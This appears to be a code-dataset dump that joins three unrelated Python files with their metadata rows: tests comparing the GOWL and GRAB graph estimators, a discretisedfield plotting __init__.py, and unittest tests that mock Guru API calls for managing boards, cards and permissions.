def test_gowl_vs_grab_3(self):
np.random.seed(680)
p = 10
blocks = [
Block(dim=p,
idx=0,
block_min_size=2,
block_max_size=6,
block_value=0.9),
Block(dim=p,
idx=1,
block_min_size=2,
block_max_size=6,
block_value=-0.9),
Block(dim=p,
idx=3,
block_min_size=2,
block_max_size=6,
block_value=-0.5),
]
theta_star, blocks, theta_blocks = generate_theta_star_gowl(p=p,
alpha=0.5,
noise=0.1,
blocks=blocks)
lam1 = 0.001 # controls sparsity
lam2 = 0.01 # encourages equality of coefficients
theta_star = theta_star[0]
sigma = np.linalg.inv(theta_star)
n = 100
X = np.random.multivariate_normal(np.zeros(p), sigma, n)
X = standardize(X)
S = np.cov(X.T)
model = GOWLModel(X, S, lam1, lam2, 'backtracking', max_iters=100000)
model.fit()
theta_gowl = model.theta_hat
lmbda = .2
K = 10
o_size = .3 # The size of overlap, as an input parameter
max_iter = 20
tol = 1e-4
dual_max_iter = 600
dual_tol = 1e-4
theta_grab, blocks = grab.BCD(S,
lmbda=lmbda,
K=K,
o_size=o_size,
max_iter=max_iter,
tol=tol,
dual_max_iter=dual_max_iter,
dual_tol=dual_tol)
theta_grab = np.asarray(theta_grab)
print('Non zero entries in precision matrix {}'.format(np.count_nonzero(theta_gowl)))
plot_multiple_theta_matrices_2d([S, theta_blocks, theta_star, theta_grab, theta_gowl],
['Sample Covariance', f"Blocks: {len(blocks)}", 'True Theta', 'GRAB', 'GOWL'])
_fit_evaluations(theta_star, theta_grab, 4, 'GRAB')
_fit_evaluations(theta_star, theta_gowl, 4, 'GOWL')
y_hat_gowl = spectral_clustering(theta=theta_gowl, K=4)
y_hat_grab = spectral_clustering(theta=theta_grab, K=4)
y_true = spectral_clustering(theta=theta_blocks, K=4).flatten()
_cluster_evaluations(y_true, y_hat_gowl, 'GOWL')
_cluster_evaluations(y_true, y_hat_grab, 'GRAB')
def test_gowl_vs_grab_n(self):
np.random.seed(680)
p = 50
block_percentage = 0.1
alpha = 0.5
noise = 0.1
K = int(p * block_percentage)
block_min_size = p * 0.1
block_max_size = p * 0.4
ccl_1 = 0.01
ccl_2 = 0.0001
thetas_with_noise, theta_blocks, scov_matrices, X_matrices = generate_synthetic_data(K,
p,
block_min_size,
block_max_size,
alpha,
noise,
1)
S = scov_matrices[0]
model = GOWLModel(X_matrices, S, ccl_1, ccl_2, 'backtracking')
model.fit()
theta_gowl = model.theta_hat
lmbda = .2
K = 10
o_size = .3 # The size of overlap, as an input parameter
max_iter = 20
tol = 1e-4
dual_max_iter = 600
dual_tol = 1e-4
theta_grab, blocks = grab.BCD(S,
lmbda=lmbda,
K=K,
o_size=o_size,
max_iter=max_iter,
tol=tol,
dual_max_iter=dual_max_iter,
dual_tol=dual_tol)
theta_grab = np.asarray(theta_grab)
plot_multiple_theta_matrices_2d([S, theta_blocks, thetas_with_noise[0], theta_grab, theta_gowl],
['Sample Covariance', f"Blocks: {len(blocks)}", 'True Theta', 'GRAB', 'GOWL'])
_fit_evaluations(theta_blocks, theta_grab, 1, 'GRAB')
_fit_evaluations(theta_blocks, theta_gowl, 1, 'GOWL')
y_hat_gowl = spectral_clustering(theta=theta_gowl, K=2)
y_hat_grab = spectral_clustering(theta=theta_grab, K=2)
y_true = spectral_clustering(theta=theta_blocks, K=2).flatten()
_cluster_evaluations(y_true, y_hat_gowl, 'GOWL')
_cluster_evaluations(y_true, y_hat_grab, 'GRAB')
| 42.408922
| 118
| 0.48203
| 1,255
| 11,408
| 4.080478
| 0.114741
| 0.049209
| 0.032806
| 0.065612
| 0.82894
| 0.818004
| 0.792423
| 0.774653
| 0.738918
| 0.722906
| 0
| 0.036109
| 0.436799
| 11,408
| 268
| 119
| 42.567164
| 0.760934
| 0.02919
| 0
| 0.733624
| 1
| 0
| 0.083695
| 0.008044
| 0
| 0
| 0
| 0
| 0
| 1
| 0.026201
| false
| 0
| 0.039301
| 0
| 0.069869
| 0.026201
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
25aaee5d891a3ecb5fc6e7628bcd6fcb9e885808
| 259
|
py
|
Python
|
discretisedfield/plotting/__init__.py
|
ubermag/discretisedfield
|
fec016c85fcc091006e678845bca999b993b987c
|
[
"BSD-3-Clause"
] | 9
|
2019-08-30T14:00:43.000Z
|
2022-01-16T15:01:44.000Z
|
discretisedfield/plotting/__init__.py
|
ubermag/discretisedfield
|
fec016c85fcc091006e678845bca999b993b987c
|
[
"BSD-3-Clause"
] | 50
|
2019-06-13T13:41:57.000Z
|
2022-03-28T09:14:33.000Z
|
discretisedfield/plotting/__init__.py
|
ubermag/discretisedfield
|
fec016c85fcc091006e678845bca999b993b987c
|
[
"BSD-3-Clause"
] | 7
|
2019-08-28T14:16:10.000Z
|
2021-12-13T21:06:06.000Z
|
"""Matplotlib based plotting."""
from discretisedfield.plotting.mpl import Mpl, add_colorwheel
from discretisedfield.plotting.mpl_region import MplRegion
from discretisedfield.plotting.k3d import K3d
from discretisedfield.plotting.k3d_region import K3dRegion
| 43.166667
| 61
| 0.861004
| 31
| 259
| 7.096774
| 0.419355
| 0.363636
| 0.509091
| 0.281818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016736
| 0.07722
| 259
| 5
| 62
| 51.8
| 0.903766
| 0.100386
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
25d5353bdabae5608bf9385eba3678470fe776a6
| 44,855
|
py
|
Python
|
tests/test_core_boards.py
|
tmooney101/gurutest1
|
2bd84ce9931e0fefbeacfd19dfc6abcf52a15b30
|
[
"MIT"
] | 1
|
2021-08-10T20:21:54.000Z
|
2021-08-10T20:21:54.000Z
|
tests/test_core_boards.py
|
tmooney101/gurutest1
|
2bd84ce9931e0fefbeacfd19dfc6abcf52a15b30
|
[
"MIT"
] | 26
|
2021-03-15T20:20:01.000Z
|
2022-03-03T23:31:35.000Z
|
tests/test_core_boards.py
|
tmooney101/gurutest1
|
2bd84ce9931e0fefbeacfd19dfc6abcf52a15b30
|
[
"MIT"
] | 1
|
2021-12-15T22:04:18.000Z
|
2021-12-15T22:04:18.000Z
|
import json
import yaml
import time
import unittest
import responses
from unittest.mock import Mock, patch
from tests.util import use_guru, get_calls
import guru
class TestCore(unittest.TestCase):
@use_guru()
@responses.activate
def test_get_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{
"id": "1234",
"title": "test"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/1234", json={
"items": [{
"type": "section",
"title": "test",
"items": [{
"type": "fact",
"preferredPhrase": "card 1"
}]
}, {
"type": "fact",
"preferredPhrase": "card 2"
}]
})
board = g.get_board("test")
self.assertEqual(len(board.items), 2)
self.assertEqual(len(board.cards), 2)
self.assertEqual(len(board.sections), 1)
self.assertEqual(len(board.all_items), 3)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/1234"
}])
@use_guru()
@responses.activate
def test_get_board_with_110_cards(self, g):
# we build the list of items that comes back in the initial get call to load the board.
# we also build the responses that come back for loading the first page of 50 and the page of 10 cards.
board_items = []
first_batch = {}
second_batch = {}
for i in range(110):
if i < 50:
board_items.append({
"type": "fact",
"preferredPhrase": "card %s" % i,
"id": str(i)
})
else:
board_items.append({
"type": "fact",
"id": str(i)
})
if i < 100:
first_batch[str(i)] = {
"preferredPhrase": "card %s" % i
}
else:
second_batch[str(i)] = {
"preferredPhrase": "card %s" % i
}
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{
"id": "1234",
"title": "test"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/1234", json={
"items": board_items
})
responses.add(responses.POST, "https://api.getguru.com/api/v1/cards/bulk", json=first_batch)
responses.add(responses.POST, "https://api.getguru.com/api/v1/cards/bulk", json=second_batch)
board = g.get_board("test")
self.assertEqual(len(board.items), 110)
self.assertEqual(len(board.cards), 110)
self.assertEqual(board.cards[75].title, "card 75")
self.assertEqual(board.cards[105].title, "card 105")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/1234"
}, {
"method": "POST",
"url": "https://api.getguru.com/api/v1/cards/bulk",
"body": {
"ids": [str(i) for i in range(50, 100)]
}
}, {
"method": "POST",
"url": "https://api.getguru.com/api/v1/cards/bulk",
"body": {
"ids": [str(i) for i in range(100, 110)]
}
}])
@use_guru()
@responses.activate
def test_make_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", json=[])
result = g.make_board("New Board", collection="General", description="test")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/home/entries?collection=1234",
"body": {
"actionType": "add",
"boardEntries": [{
"entryType": "board",
"title": "New Board",
"description": "test"
}]
}
}])
@use_guru()
@responses.activate
def test_delete_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{
"id": "abcd",
"title": "General",
"collection": {
"id": "ababab"
}
},
{
"id": "4321",
"title": "Test",
"collection": {
"id": "cdcdcd"
}
}])
# responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/General", json={})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/abcd", json={
"id": "abcd",
"title": "General",
"collection": {
"id": "ababab"
}
})
responses.add(responses.DELETE, "https://api.getguru.com/api/v1/boards/abcd")
board = g.get_board("General")
board.delete()
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/abcd"
}, {
"method": "DELETE",
"url": "https://api.getguru.com/api/v1/boards/abcd"
}])
@use_guru()
@responses.activate
def test_delete_board_with_invalid_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[])
responses.add(responses.DELETE, "https://api.getguru.com/api/v1/boards/abcd")
g.delete_board("123456")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}])
@use_guru()
@responses.activate
def test_get_board_group(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={
"collection": {
"id": "1234"
},
"items": [{
"type": "section",
"title": "A",
"items": [],
}, {
"type": "section",
"title": "My Board Group",
"items": [{
"type": "board"
}]
}, {
"type": "board"
}]
})
g.get_board_group("my board group", "General")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/home?collection=1234"
}])
@use_guru()
@responses.activate
def test_get_home_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={
"collection": {
"id": "1234"
},
"items": [{
"type": "section",
"items": [{
"type": "board"
}]
}, {
"type": "board"
}]
})
g.get_home_board("General")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/home?collection=1234"
}])
@use_guru()
@responses.activate
def test_get_home_board_by_invalid_collection(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={})
g.get_home_board("General")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}])
@use_guru()
@responses.activate
def test_set_home_board_item_order(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={
"id": "home",
"collection": {
"id": "1234"
},
"items": [{
"id": "1",
"itemId": "i1",
"type": "board",
"title": "Board A"
}, {
"id": "2",
"itemId": "i2",
"type": "section",
"title": "Board Group",
"items": [{
"type": "board"
}]
}, {
"id": "3",
"itemId": "i3",
"type": "board",
"title": "Board B"
}]
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home", json={})
home_board = g.get_home_board("General")
home_board.set_item_order("Board B", "Board A", "Board Group")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/home?collection=1234"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/home",
"body": {
"id": "home",
"collection": {"id": "1234", "name": None, "type": None, "color": None},
"items": [
{"id": "3", "type": "board", "title": "Board B"}, # "itemId": "i3",
{"id": "1", "type": "board", "title": "Board A"}, # "itemId": "i1",
{"id": "2", "type": "section", "itemId": "i2", "title": "Board Group", "items": [
{"id": None, "type": "board", "title": None}
]}
]
}
}])
@use_guru()
@responses.activate
def test_set_board_item_order(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{
"id": "1234",
"title": "test"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/1234", json={
"id": "1234",
"collection": {
"id": "abcd",
"name": "General"
},
"items": [{
"id": "1",
"itemId": "i1",
"type": "section",
"title": "test",
"items": [{
"id": "2",
"itemId": "i2",
"preferredPhrase": "card 1",
"type": "fact"
}, {
"id": "3",
"itemId": "i3",
"preferredPhrase": "card 2",
"type": "fact"
}]
}, {
"id": "4",
"itemId": "i4",
"preferredPhrase": "card 3",
"type": "fact"
}]
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/1234", json={})
board = g.get_board("test")
board.set_item_order("card 3", "test")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/1234"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/1234",
"body": {
"id": "1234", "type": "board", "title": None,
"collection": {"id": "abcd", "name": "General", "type": None, "color": None},
"items": [
{"type": "fact", "id": "4", "itemId": "i4"},
{"type": "section", "id": "1", "itemId": "i1", "items": [
{"type": "fact", "id": "2", "itemId": "i2"},
{"type": "fact", "id": "3", "itemId": "i3"}
]}
]
}
}])
@use_guru()
@responses.activate
def test_set_board_group_item_order(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={
"id": "home",
"collection": {
"id": "1234"
},
"items": [{
"type": "section",
"title": "A",
"items": [],
}, {
"type": "section",
"title": "My Board Group",
"items": [{
"type": "board",
"id": "1",
"itemId": "i1",
"title": "Board A"
}, {
"type": "board",
"id": "2",
"itemId": "i2",
"title": "Board B"
}, {
"type": "board",
"id": "3",
"itemId": "i3",
"title": "Board C"
}]
}, {
"type": "board"
}]
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home", json={})
board_group = g.get_board_group("my board group", "General")
board_group.set_item_order("board c", "board b", "board a")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/home?collection=1234"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/home",
"body": {
"id": "home",
"collection": {"id": "1234", "name": None, "type": None, "color": None},
"items": [
{"id": None, "type": "section", "itemId": None, "title": "A", "items": []},
{
# this is the board group we edited:
"id": None,
"type": "section",
"itemId": None,
"title": "My Board Group",
"items": [
{"id": "3", "type": "board", "title": "Board C"}, # "itemId": "i3"
{"id": "2", "type": "board", "title": "Board B"}, # "itemId": "i2"
{"id": "1", "type": "board", "title": "Board A"} # "itemId": "i1"
]
},
{"id": None, "type": "board", "title": None} # "itemId": None,
]
}
}])
@use_guru()
@responses.activate
def test_set_item_order_with_invalid_collection(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
g.set_item_order("invalid", "My Board", "a", "b", "c")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}])
@use_guru()
@responses.activate
def test_set_item_order_with_invalid_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/isinvalid", status=404)
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards?collection=1234", json=[{
"id": "abcd",
"title": "Board A",
}, {
"id": "efgh",
"title": "Board B"
}])
g.set_item_order("General", "isinvalid", "a", "b", "c")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/isinvalid"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections",
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards?collection=1234"
}])
@use_guru()
@responses.activate
def test_make_board_group(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{
"id": "1234",
"name": "General"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={
"collection": {
"id": "1234"
},
"items": [{
"type": "section",
"title": "A",
"items": [],
}, {
"type": "section",
"title": "My Board Group",
"items": [{
"type": "board"
}]
}, {
"type": "board"
}]
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", json={})
g.make_board_group("General", "my board group", "desc...")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/collections"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/home/entries?collection=1234",
"body": {
"actionType": "add",
"boardEntries": [{
"description": "desc...",
"entryType": "section",
"title": "my board group"
}]
}
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/home?collection=1234"
}])
@use_guru()
@responses.activate
def test_add_card_to_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={
"id": "1111"
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={
"id": "22222222-2222-2222-2222-222222222222",
"title": "my board",
"items": []
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={})
g.add_card_to_board("1111", "22222222-2222-2222-2222-222222222222")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/cards/1111/extended"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222",
"body": {
"id": "22222222-2222-2222-2222-222222222222",
"items": [{
"id": "1111",
"itemId": None,
"type": "fact"
}],
"title": "my board",
"type": "board"
}
}])
@use_guru()
@responses.activate
def test_add_card_to_board_by_board_name(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={
"id": "1111"
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{
"id": "2222",
"title": "my board"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/2222", json={
"id": "2222",
"title": "my board",
"items": []
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/2222", json={})
g.add_card_to_board("1111", "my board")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/cards/1111/extended"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/2222"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/2222",
"body": {
"id": "2222",
"items": [{
"id": "1111",
"itemId": None,
"type": "fact"
}],
"title": "my board",
"type": "board"
}
}])
@use_guru()
@responses.activate
def test_add_card_to_board_by_board_slug(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={
"id": "1111"
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/abcde123", json={
"id": "2222",
"slug": "abcde123/my-board",
"title": "my board"
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/2222", json={})
g.add_card_to_board("1111", "abcde123")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/cards/1111/extended"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/abcde123"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/2222",
"body": {
"id": "2222",
"items": [{
"id": "1111",
"itemId": None,
"type": "fact"
}],
"title": "my board",
"type": "board"
}
}])
@use_guru()
@responses.activate
def test_add_card_to_invalid_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={
"id": "1111"
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{
"id": "2222",
"title": "my board"
}])
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/2222", json={
"id": "2222",
"title": "my board",
"items": []
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/2222", json={})
g.add_card_to_board("1111", "no match")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/cards/1111/extended"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}])
@use_guru()
@responses.activate
def test_add_invalid_card_to_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", status=404)
g.add_card_to_board("1111", "2222")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/cards/1111/extended"
}])
@use_guru()
@responses.activate
def test_add_card_to_board_and_existing_section(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={
"id": "1111"
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={
"id": "22222222-2222-2222-2222-222222222222",
"title": "my board",
"items": [{
"type": "section",
"title": "section 8",
"id": "3333"
}]
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={})
g.add_card_to_board("1111", "22222222-2222-2222-2222-222222222222", "section 8")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/cards/1111/extended"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222",
"body": {
"id": "22222222-2222-2222-2222-222222222222",
"type": "board",
"title": "my board",
"items": [{
"type": "section",
"id": "3333",
"itemId": None,
"items": [{
"type": "fact",
"id": "1111",
"itemId": None
}]
}]
}
}])
@use_guru()
@responses.activate
def test_add_card_to_board_and_invalid_section(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={
"id": "1111"
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={
"id": "22222222-2222-2222-2222-222222222222",
"title": "my board",
"items": []
})
# responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={})
g.add_card_to_board("1111", "22222222-2222-2222-2222-222222222222", "section 8")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/cards/1111/extended"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222"
}])
@use_guru()
@responses.activate
def test_add_card_to_board_and_new_section(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/cards/1111/extended", json={
"id": "1111"
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={
"id": "22222222-2222-2222-2222-222222222222",
"title": "my board",
"items": []
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222/entries", status=204)
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={
"id": "22222222-2222-2222-2222-222222222222",
"title": "my board",
"items": [{
"type": "section",
"title": "section 8",
"id": "3333"
}]
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={})
g.add_card_to_board("1111", "22222222-2222-2222-2222-222222222222", "section 8", create_section_if_needed=True)
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/cards/1111/extended"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222/entries",
"body": {
"actionType": "add",
"boardEntries": [{
"entryType": "section",
"title": "section 8"
}]
}
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222",
"body": {
"id": "22222222-2222-2222-2222-222222222222",
"type": "board",
"title": "my board",
"items": [{
"type": "section",
"id": "3333",
"itemId": None,
"items": [{
"type": "fact",
"id": "1111",
"itemId": None
}]
}]
}
}])
@use_guru()
@responses.activate
def test_remove_card_from_board_by_card_id(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={
"id": "22222222-2222-2222-2222-222222222222",
"title": "my board",
"collection": {
"id": "3333"
},
"items": [{
"type": "fact",
"id": "1111",
"preferredPhrase": "my card"
}]
})
responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222/entries", json={})
g.remove_card_from_board("1111", "22222222-2222-2222-2222-222222222222")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222"
}, {
"method": "PUT",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222/entries",
"body": {
"actionType": "remove",
"collectionId": "3333",
"id": "22222222-2222-2222-2222-222222222222",
"boardEntries": [{
"entryType": "card",
"id": None
}]
}
}])
@use_guru()
@responses.activate
def test_remove_card_from_board_with_invalid_card(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", json={
"id": "22222222-2222-2222-2222-222222222222",
"title": "my board",
"collection": {
"id": "3333"
},
"items": [{
"type": "fact",
"id": "1111",
"preferredPhrase": "my card"
}]
})
g.remove_card_from_board("invalid", "22222222-2222-2222-2222-222222222222")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222"
}])
@use_guru()
@responses.activate
def test_remove_card_from_board_with_invalid_board(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222", status=404)
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[])
g.remove_card_from_board("1111", "22222222-2222-2222-2222-222222222222")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/22222222-2222-2222-2222-222222222222"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards"
}])
@use_guru()
@responses.activate
def test_get_board_permissions(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions", json=[{
"id": "1234",
"group": {
"id": "1111",
"name": "Experts"
}
}])
board = g.get_board("11111111-1111-1111-1111-111111111111")
groups = board.get_groups()
self.assertEqual(groups[0].id, "1234")
self.assertEqual(groups[0].group.id, "1111")
self.assertEqual(groups[0].group.name, "Experts")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions"
}])
@use_guru()
@responses.activate
def test_add_board_permission(self, g):
responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111", json={
"id": "11111111-1111-1111-1111-111111111111",
"items": []
})
responses.add(responses.GET, "https://api.getguru.com/api/v1/groups", json=[{
"id": "1111",
"name": "Experts"
}])
responses.add(responses.POST, "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111/permissions")
board = g.get_board("11111111-1111-1111-1111-111111111111")
board.add_group("Experts")
self.assertEqual(get_calls(), [{
"method": "GET",
"url": "https://api.getguru.com/api/v1/boards/11111111-1111-1111-1111-111111111111"
}, {
